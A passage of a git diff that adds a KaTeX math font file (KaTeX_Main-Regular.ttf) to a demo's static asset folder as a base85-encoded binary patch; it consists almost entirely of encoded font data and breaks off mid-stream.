z_c?-{3kuwtd~(P+Pka?%gva;py-f6~&*%sWg=MMdU_Lnd&V$AMVIMdYH~;_u7N@=P literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Regular.ttf b/demo/static/dist/assets/KaTeX_Main-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..dd45e1ed2e18b32c516d9b481ebed3cb8bffa711 GIT binary patch literal 53580 zcmd442bd&Rc`n@NRIci-?&_|t>YUT0p3ptrljF|J##wFDMrl{lYJ<`$AR#0nAqkX0 zB*_AcWPEL|Ot6Fyw%{5tV8CQ!urb%h27>@|eYu1m8*T6Zo>M&=KoUHD{`)-t&g@Kg zRdv<(edo*JjF0$yKGS!HPw*Yux?^x;=`S{p`+QG+5JwMPdez~Rm4EvFoX_`^?ehsc zFTL@G9K9;u_W3?l!})!epFDciCG}Ic`g|WchMV}09=`r0j)#1{udKsw_2`v1U;ang zqqx`bO~kGc*cp6`!wRHLPmGDvmsI z*~kcup8C-U`BPl8>Lb3tqM!E#eQBTiv=h=P9qEfSTa6JXYEwln7OE8*aqz}_J=$!o z7UQvUjZiC0No_WsO9mo67A?{@M+#7xRgd8%o*f;Adap z7`erk{R?~jMllgDR&oQ=t)6u71r7nWvC}hx2H1A^4g$7)yG9gFg?0n5F_>%`Rl2Vk zS@6aqNKsMjF33eiW)uPv;nDW_Z*UBE0+PjwgdglPjrN%N)7~CY^oQv-@=?5!bvbYW zc`~TW7hP;eZ@5m@gX{wD@HrQlp^w#qxue_+?)KiMBp9)GK>h2_pSM9N-iiqZLd zfhqyNBy8S71ljPe(3JowQ+`SJr4k5AxI&T%er^Wa``V{JLq0-j#9Xz|4Rs5=j&G^x88+PKDM3+Xqqt5z`Sj zn{mbT9x>RH=o#8Lp45f9d{HGU5Gmc8nWti;Sa0+SGNqH6K>DW}&pJ7wIwBGhC6p3- zXK&xk0oPFLbrP8D8@Hs0lXaaeq3aCtpMnui9U5IZ5!DCl;feZOSc

viU|OFj=e4 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

